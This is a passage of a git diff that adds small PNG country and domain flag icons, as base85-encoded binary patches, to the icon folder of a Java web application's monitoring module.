z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;h^vh5GiH|GOrbqYds*MUy$}@i=kMPi z6%~JG%=p7J$>!?S!u|U_q^3K3U|?Vf@^o<wskjw;HjuBufP?vh(hki#|Mxk$pV?Bc zA8_CYi~X#f`)5ha_G@(C!aM1UTzg89<%;g6N{Q^5&Yvf)jq(gEconwx<*LA=CzVef g_~jwI`wQciDCVZ<jVFp37#J8lUHx3vIVCg!0M*Q7+5i9m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lt.png new file mode 100644 index 0000000000000000000000000000000000000000..edbb14324c1a29304982f09a34fc32bdf4269ce5 GIT binary patch literal 192 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOaARB2dA=z`$AH5n0T@z%2yA zjF;}#{b68WU`coMb!1@J*w6hZkrkvUz$e7@4L=LhK9-k1S*nX8vKbf{L_A#_Ln>}1 m2Q)FTIc-s3d9b9Dg+U~Yt(h;&bQ1#u1B0ilpUXO@geCxB^f8G5 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lu.png new file mode 100644 index 0000000000000000000000000000000000000000..9b6e836ce4170c445817f7123b43bbdf0f755c44 GIT binary patch literal 206 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}1Al-|h^vjw|Hj7uAdr>ypMl}q8vYUn1_l{V z7srr_TgeHIj65oZGXoizg}D@ZPj@g$XfQB54`J-Qs<JzWfq{X+)78&qol`;+07{2B A<p2Nx literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lv.png new file mode 100644 index 0000000000000000000000000000000000000000..90fdf8f7f09dd76a06d7ecdd3272fb435fc0acfb GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0dLZlSM`%i>y?ZDY3jfy64lUFaQ4i zIa!rjbmZXz1_lN#PZ!6Kid)GEDQ;{$Dup)#8JM-Dc^V=-V$5`6#6%os?ahc`b7M(J bVq$Q5%k-$lNBIT=0|SGntDnm{r-UW|VS+<u literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ly.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ly.png new file mode 100644 index 0000000000000000000000000000000000000000..07653b6404ac94bfbf99848c6f8b2a2ff618e0ec GIT binary patch literal 181 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`MrH;E2GzFxlNcBnq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOaARB2dA=z`$AH5n0T@z%2yA zjF;}#{b68WU`coMb!1@J*w6hZk(Gggfi1u%#Fc3u%m4rXPqfH?VPIh3@pN$vskoJ# dpdiM;z@Wvz7$dX%Jp%&+gQu&X%Q~loCIB$bE>Zvh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ma.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ma.png new file mode 100644 index 0000000000000000000000000000000000000000..5e43d7ca83bdffd6f07a4961cae63682b0b2bd36 GIT binary patch literal 242 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0eNlmRr&+wTUblg)9-ZEE9rQR@<>0 z(qV~ofBTbxfx+C<#WAGf*3w=>J_ZFIrsxGf{>#5!QffSra}u+X+?4V)g{}`O7ONyP pFEzOvu_-E4<n~#qq(50q#;gnlYx_6NV_;xl@O1TaS?83{1OTysM=<~Z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mc.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mc.png new file mode 100644 index 0000000000000000000000000000000000000000..71c462a4444bdf2789a7289f94e54e9f11b84dde GIT binary patch literal 184 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`MrH;E2GzFxlNcBnq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOaARB2dA=z`$AH5n0T@z%2yA zjF;}#{b68WU`coMb!1@J*w6hZk(Gggfi1u%#PuH&%fG+By{q2qGcYjld%8G=RNP8V hIKcMr|3MdqiAQ<wm1&-u&cMLH;OXk;vd$@?2>>C@Gpqmr literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/md.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/md.png new file mode 100644 index 0000000000000000000000000000000000000000..8f7357b628696317403c53fbb4d797ca04e5bdeb GIT binary patch literal 268 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;h$|D*n&9B9KfhVd__OR|VmZBuWnLG{ zk*Tbe`O52yS+<z5Ji5xlnWeg%fq}u*)5S5Q;#TZAZ>|Oh9_9;ue!uqquU)Q?lvUO* z(BY9DJGZ+0Nuuwf8DXg|y#aZ~JGXM2?tj;PTP^>ptj~dCyglLj&+GGl?_~;@y2@xP Q0|Nttr>mdKI;Vst02vWi82|tP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/me.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/me.png new file mode 100644 index 0000000000000000000000000000000000000000..c89f413a1ab39aa8811894f0ae53faba7a86eb01 GIT binary patch literal 339 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8Fct^7J29*~C-ahlfgvHl zC&cyDVe5yxt*&o2|9`{snWNbaN7Gv?wH`5Z-el%H$IS6^x840*jVE)A|KD-??qvR& zg)7!N<Ka5({}0`a78X6<Wb^-}{TCLlH@!x0x7qQhZG53D^me=6izVhy7})+^cKmYI zKL1Q6$R&(P-tI089jvk*3=9mM1s;*b3=G^tAk28_ZrvXS1_t&LPhVH|J6wVsdd$-m z!W$VF7;-#a978y+m!9z!YgQ0o4Gh@w(^I`m$hYbD{iXc;=f0fF3QE#pJ7M{L_l(1? znqOV@4mf<7@TR_ADb_gmVt(B9Cto73cf7fm#B=7HUvSASh4u#a$lH5-PKG^9oLeGy o^ZpXH;5nSJSG%2@ime#-{N?n?=e~BFfq{X+)78&qol`;+0H_~?uK)l5 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mg.png new file mode 100644 index 0000000000000000000000000000000000000000..d61454815f8bbbca4b1b339616f00d79cc4849e3 GIT binary patch literal 168 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qX2dYA}Q zFfcH17I;J!Gca%qfiUBxyLEpU7#LX69eo`c7&i8E|4C$JU|`@6@Ck9fcJ12#|Nj|^ z8SXJK{AXZjbk3j0z`!8m>EaktaVt4NM5K_BiS1ElVzL6mB_}Tj2Q6L(y+=H+)~z}r Rz`(%3;OXk;vd$@?2>@)~EEE6$ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mil.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mil.png new file mode 100644 index 0000000000000000000000000000000000000000..898a2550669febb5516a0bf83b71e7acd490a99e GIT binary patch literal 252 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0eOb$$uBm|BH<N*VEhCbV6EsNwPvs zlK+~X!*N~=3=EE*E{-7;w|Y;ya~*KtVRo20<^O*Rz1h6`QU#7VSzK-nzdD=y-x?vS zy|d0$tUq}uaL)mG*Q*S(CRzz{Otkphz`Tt8jw9pY4~6glF)%PNc)I$ztaD0e0sw9H BRHFa@ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mk.png new file mode 100644 index 0000000000000000000000000000000000000000..578266db8bfcb7f2b16af94464589a89305a6bbd GIT binary patch literal 256 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj3<7*YT;E8Ge5sRp<0bQJ zliX_~iPvi4zh=sP$(H$bO67Bx?5_hVuWe=iESLFnL*-Mc?3XZ^O}VwM3=9nHC7!;n z?3Y>Pc!XHOZmR_|Ffdejx;TbZ%t_{W!*}=Tsrx4c3@l4Fub$4(texHzeZVoSEuh`T z?ilAfo^?DurL8<`c+5W6J@@-**S_$3-sjFa_jdEl{2Kk-??(Jdfdi)^B95OrARuI* z-xqv9bdCL$zNv~1T33!Ae9h>bV7~g=wFP!<;`}kD+pNwoF#LF~Dt>M1gvksH3=E#G KelF{r5}E+0#AVn3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ml.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ml.png new file mode 100644 index 0000000000000000000000000000000000000000..8994e0f8fad657378915fc0d8aaa114ed1a0e34e GIT binary patch literal 137 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+?ONeU~7UiVTD zWME+6EbxddW?<kJ0%68WckBLu1Ot3RTp3m|{Qb-Dmw`bhDo2NbfkD{Q#WAGfR&qi@ jf`~{+P|^ZnUIxR%tcx#(R&8crU|{fc^>bP0l+XkKrZgc= literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mm.png new file mode 100644 index 0000000000000000000000000000000000000000..d204ca1569c6970f1ac12450cc3549327cd9f7fd GIT binary patch literal 279 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD+>liwat4-<h%J zF#`hwXMsm#F$06#ArNNFyHIM!z`($g?&#~tz_78O`%fY(0|Ub{PZ!6Kid)Gk8|EB7 z@S%U^%+Bev-yU8r&%@JmSAW{FJ@yA07$X{H%%AS;))haY{pqc_<?rqOr5s?K(J*87 z<f|84;w}cYPoF-Q(VRi^@9+2jx8IMCuluX2dCJ*A(^`9S*Nz2UTV71pxBsBQy7TMv z_50iT?j}F1YdpR%V5$E7y5E1^Ztq}tzBxSpqeki;{UfbvM}Gbn|NY-S!bkMS_ufW} h11?K;DJ~OX$ogZtZlnIaxeN>p44$rjF6*2UngEIRby)xa literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mn.png new file mode 100644 index 0000000000000000000000000000000000000000..407510f91ea044a8b5f4acf5c89c6bd707823235 GIT binary patch literal 245 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0TwnV&M}PlG#vs zl7WGNv%n*=n1O*?2!t6g-L3n>z`($g?&#~tz_78O`%fY(0|SFufKQ0)drbzft?%D! zFg&`&@Ii~=?tg|Cy$tUx8Ls?ic%8!VY%{}q6^2(y4DVGL-m5dbvuAj8j^Tq6Lt^d= zVFm^UCr=m0kcwN$2@H&G0tpQajv?z9<hiEHhfb4hJ$?At>GmV3Pm`XyJuBLzq@DKE u;pwKuMK=R>oY6URB1TQYrHpNpI752?qlUwJn*;_11_n=8KbLh*2~7Z}KTzcW literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mo.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mo.png new file mode 100644 index 0000000000000000000000000000000000000000..6f7ced43ca200309a1d7275ef270f85b752b2e6d GIT binary patch literal 283 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)GcsB*#T(|8 zFfcH17I;J!Gca%qfiUBxyLEpU7#LX69eo`c7&i8E|4C$JU|=u^@Ck8c$Yx-uX5i>y zkmzC1oWfu^he4u8LU)R;(;TO)?PA$mv%8OWZ@jkg-1BqqzrX+g|3A-Xoy!ai40)a| zjv*Ddk^@3QL|Bs892F0GI65k_xjF`hiz_;^DJE_V?QC)=4DByJEA044=Dl=djpD}O z_t#aJeqQ>2Z|{AU5cRMB@BeRg;%O49F2A1{k`gc_YHQL}rv*D6yt=!);T4PM(sMd2 hFNH${7;Z5#yxJodzOMMX7y|<XgQu&X%Q~loCICk-VhR8N literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mp.png new file mode 100644 index 0000000000000000000000000000000000000000..79d22936362736aab091dd6a341bb10b61f138b2 GIT binary patch literal 466 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD+>liwasw+9&N> zz`(%3S>O>_%)lUb2!t8)E|l6aFfg#BJNh~@Fl_AS{*%bcz`&U3>EaktaVy#6!t7%X zG6_iuKl+cbZu(zb{68`I|Je`!?R{9dA|xav9?H0>wOz5OE1&#aeczv-1-@C|4(aps z^qg3x)UZ=}_10sTOVy{opBG-b{YO^bp_XS1EE7t1T-+J)=;LDf{`d8>H~6?*>)_oT z6gF-DvHMfj$NW5U_Uyrf2g_bu@K)Sfenv+l?=OF$o;CaB>GN$~z54%&JLmtOzrQ~` zOj}vs^rt5N-rnEs@7C7;m$=8Nb$4Is&qJ-^_H}<MzkK-q^!xvtH#S&4xNXknDVL_F z#};<&{Tmtk9Xlj+pFF+4?=Ls63>#Y-XJLLt#LLr#r?ff$r2qNz;bF9I>O=eZi2k`1 z?Y1n>^y^<FYW{fmcl&(%|7`3l*4_TY5-D~wq;0<a|NFInZeEKB@eVCHbY}MT_4RIH zr#SqWdmcn2vNZkw|L-6Bv6uh<`*?h0;bv3|+j00{;c2ET3_*Y1^V@_rsQfo(V0gNr Wz5IlH-!BFR1_n=8KbLh*2~7Zs>DomA literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mq.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mq.png new file mode 100644 index 0000000000000000000000000000000000000000..053f9503bfcd55a291874c0da7d5d0cfd381c4ac GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOaARB2dA=z`$AH5n0T@z%2yA zjF;}#{b68WU`coMb!1@J*w6hZkrkvUz$e6&oqgNCe}De5a~gN<sAOPZ5cYI&45_%4 loRE+pA`%pov_P1b!Q?3G#-Cii77Ppw44$rjF6*2UngDkbGSvV8 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mr.png new file mode 100644 index 0000000000000000000000000000000000000000..4e8e04eb95a8c0e65cde30d5d8b71fb6e8cf297d GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gHV7^h%56x7Ug{`X8TyS?PICf$Ktb(W!lf8 zX$%YumYyz-Ar-fh6BL*>Y+6tdIU_JNQZUCYq&J{;O+aFr+6Jk#9hN$4);KUNn=Z-o lz|COc2M4YTKF9eObhsEw_7=4ZFfcGMc)I$ztaD0e0s!qRMMnSt literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ms.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ms.png new file mode 100644 index 0000000000000000000000000000000000000000..286cabdfb40d8dc0d45444828a57242d12fd09c8 GIT binary patch literal 258 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+?Qaqx>8J=^l~ zI0FL%XMsm#F#`kF2M}g-T4OSUfq{V~-O<;Pfnj4m_n$;o1_lO$0G|+728m(@#bOS{ zYDLX#3BzJV!(yJSnXHSp`}k;^N5wn(Rj0=Gu2vD-6&bsrXX%p_8^ZJA1sE6@LOop^ zLn>}1S8Ol)x;k`qnBklH-SvwXEZ{i&d;fp=rWeNP=VU~@n?D>~-fi&a{_i@)j=Hz6 z{|dUWb8%^PZSOX);Ns%)Dsjk=)X=SwaB4o&cyYA?1A|+F+Mexq-G4DKFfe$!`njxg HN@xNAX6;sQ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mt.png new file mode 100644 index 0000000000000000000000000000000000000000..83e20a0624362f1e031f2aebb260b455cc2fd19f GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0i+<fA%r4JUn&s!-EH#<}Eq4VZ+bY zZ)WxM-0S-PgMooT%hSa%q~ca`LP9bFqZ>y;LPDz3Goy{0H!Bv-jEtDLlgH<bMwO%l d8>2Xbe;C8uX<W_67#J8BJYD@<);T3K0RTn%NyGpE literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mu.png new file mode 100644 index 0000000000000000000000000000000000000000..e51da3d86ccc86b969bd99cccc0fe66ce9f7c5f3 GIT binary patch literal 214 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3_<}uA+Aj4Sc;yp{QJkk%KEd4spTIN%Px6l zZ3YGgMNb#UkcwN$39gJhKX&S9G&D-G3Oq1c$iNiiCUU@mi-AG%8sqCTeSMV-3=9mO Lu6{1-oD!M<%EmhI literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/museum.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/museum.png new file mode 100644 index 0000000000000000000000000000000000000000..7bd40c2207e109193ca6308706e537d519703d78 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzkyX%*8^<^1_sUokH}&M2EM}}%y>M1MG6B0153K2uOkD)#(wTUiL49^3?TtNA+G=b z|4*BFhQZjF!8nZ}ZKiP=1B3BQV`GN2v@~N7#lT>Eh9T|$%rs-;wEr__rWwy<FitZ* z^WQjaCWG<JGiPQRpE+a9kaos6ZD!icnKO++^p3d~E;BGNFqQ=Q1v5B2yOGAgz>w<c z;uunKtM%MTz6J#zmVgBYT_J_>|Nq;seN<#vn74lNvd~xB-FH8UpZRHJdfnmsVT-ej zb~7!v#j-ohR}J5|Mq1$Eg4Ab|R6KYXKiu1KMeC-L(Y}Iji%tZT#hVE!egCu2HSBL1 Z`(|@ymlJ9Ry$lQt44$rjF6*2UngF@Hg#rKo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mv.png new file mode 100644 index 0000000000000000000000000000000000000000..449b944efec6337c150dee3fce0d20e211b4ae01 GIT binary patch literal 226 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^FWajEAm?)&ZEGyDeFfuSOR4_EPGBmX^GE>ktFf=guGgV+d0|NtliKnkC`$Z-e zK2auPLvDQr1_sUokH}&M25un`X1sK_?hgY4153K2uOkD)#(wTUiL49^3_JloA+BeP z8H{H#{Qv*|-Me>6T2U7n7#QR|T^vIyZY3uuFi1RPP@m4(db&sJv<sK`S&cj29x*cL YoMp)Il(1jTz`(%Z>FVdQ&MBb@0Ci?QBLDyZ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mw.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mw.png new file mode 100644 index 0000000000000000000000000000000000000000..50d32c06c025429937cf7a26e29b9ccb7dfd5e6f GIT binary patch literal 480 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1H-)lpAgsgnhXpK3_?Oe znJ0Y%FW5vKvy41uF}Gg+hXTU~O@>?{hM(FDf3+DtX)^p&V0dFC_D7rHyB5PnS%#?N zmjARF0x#M`9=G6PWboi(cxx^+uU<a$l&`q3P%<Aw;xWfxmO@7C3_oqeVlQ|rD=W8) zG6;!?*-8pEi83r|H}d0R2<Bn9slrgMCKkoR@J(N+<aAW(aW^qBu_+P^f`WpgLP8-t z42j2_UAY*(8VQ#OGx&2cSV#yhYST~SV<<iy5p%&a?YPGc6$V~jUNto}Q+9?jVFn*= z1}`p#QYE2D5)3(p<)Gl{@N{tuskjw$+?DB&gMiD$Sqo-zd~9JUFE5||JHDgQRllP9 zUHl5KLpirk)czM0KQ_bu{&VYn9hxeI&HvVZiRqH~pZ2@(9h<aZ=^l&y*Y8a;&0J^s ze&LH1ZAn?PR!Xc2b_-*hX#Br;!Sc?1hxB|VZfIRBt)9oKZ0-0)m@95l1-Hy1iOx28 aMm7eY_q<`O0T(JjVeaYb=d#Wzp$PzeJ)bN9 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mx.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mx.png new file mode 100644 index 0000000000000000000000000000000000000000..ebd2b790bc2bb4a7bda191255de4d27e5dfff2d8 GIT binary patch literal 231 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+Ah)EIzCJzI^@iBQp9s6HDKsDZ3Bv za1F7)lXQiNfq_BC)5S5Q;#P731CyJYLP8oN6PwYFoE(jqva%FCX=`g~Epb;vZS9}m e9z9@U*gB2z;F;ggx)~T47(8A5T-G@yGywn>KSiPd literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/my.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/my.png new file mode 100644 index 0000000000000000000000000000000000000000..1cb61396d89489a17c65d3b381fe644e75ac3dec GIT binary patch literal 272 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3~~WJA+A3}Bz{~t@gpMQM^8sb!-*dtg+C-D z79{wrNKmNQqxXFq0|SG<r;B4q#jVgDPObwE9L$debN~N;`07@6yP^b>(&RJ71($XE zCotZf^#0b=KkIcwcGZM!zVuAgSvq*f<ade8Z=6@ZVmq=VCeSG`><r`01Ls)TpE9wR Ua^0T7z`(%Z>FVdQ&MBb@0J?x*GXMYp literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mz.png new file mode 100644 index 0000000000000000000000000000000000000000..1a949ca4a22079f8021904a1b674c51370c70e4d GIT binary patch literal 294 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8XqUJ~lsFfqCYEI8=P86_ z=B6?fr=}~IDflL4Di|3U7%3PSSQ(mInOZ358W<QDY_5H?o`HdZy~NYkmHiSctGFnq zwM=s}0|NtRfk$L90|U1Z2s2)~Tla^7fq^C6(btiIVPik{pF~y$1_pxwpAgqG#ti?@ zF#Jz5{{R0>T3Xs}28RD<W->4^{7+*rHa4C)b7oo^!%Sm_Gik<m@7^_@$>5Xsd=&!& zgOjI=V@SoV*wdbT2NZZ%4wi{=q&)n;Uv*Q`ktP0my*yhq1s0dx^M8`keed@kh5Cbm sT8B3*H(CEbKH}PmOy#L7eNtt8cQSu6OQ|<tU|?YIboFyt=akR{0B=2EDgXcg literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/na.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/na.png new file mode 100644 index 0000000000000000000000000000000000000000..c1d5687e79a6e35e34508287704e6cac952610c0 GIT binary patch literal 300 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqk4kt>YmE1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3<d!{A+Gf-tlJ6;64xg%)v?SC_Fr^pMrldU zWK9i`P9YYS8b7}&TPAdGT{}}lqvgg8ksm);mVbWwkb!|A($mE;q~ccS+1q>#1{};6 z{K^WMzx@9n#&+)LzPU>>FP4WitUYMZw`$$2hPJx9SEu^2N~HwrrKE1$WTGJJ(%~sQ ydybWQ?BqHHb=JQNS~%8=Jx*Y?54=-b$spIk;`sPt@j?a$1_n=8KbLh*2~7Z4#AlrV literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/name.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/name.png new file mode 100644 index 0000000000000000000000000000000000000000..676761783da9a5a7208259d686f8bc2ea074d8b9 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzlEmRTkXFL3=EtF9+AZi419+{nDKc2iWCM029|V3Uq=Rpjs4tz5?L7-7(xPkLR|m< z|DQJV41=*TgK-)|+Dzj#1_tAq#>Nb3X=%nFih;rS3`5%gnQ6wxY5!-=Of#OzV4P-r z=D%^;Oa|kbXU@ztK6A#HA?=KD+RU_>GiMru=pAz}TxMWkU@Qsp3ubV5b|Z~}fg#n? z#WAGfR_nQwd<_abECCA)x<U%$|NpmN`>4pUFmL_jWudRMyYGGyKl9Vd^t!|M!xm>5 z?PgkTi)DA1uNuB_jkLhS1*y*_sd(@(ez>>eiq=gfqkRS67M%zvi#HQe`u=C3YuMj3 a_RZ$ZE+^CsdKnlP7(8A5T-G@yGywqb6@@hb literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nato.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nato.png new file mode 100644 index 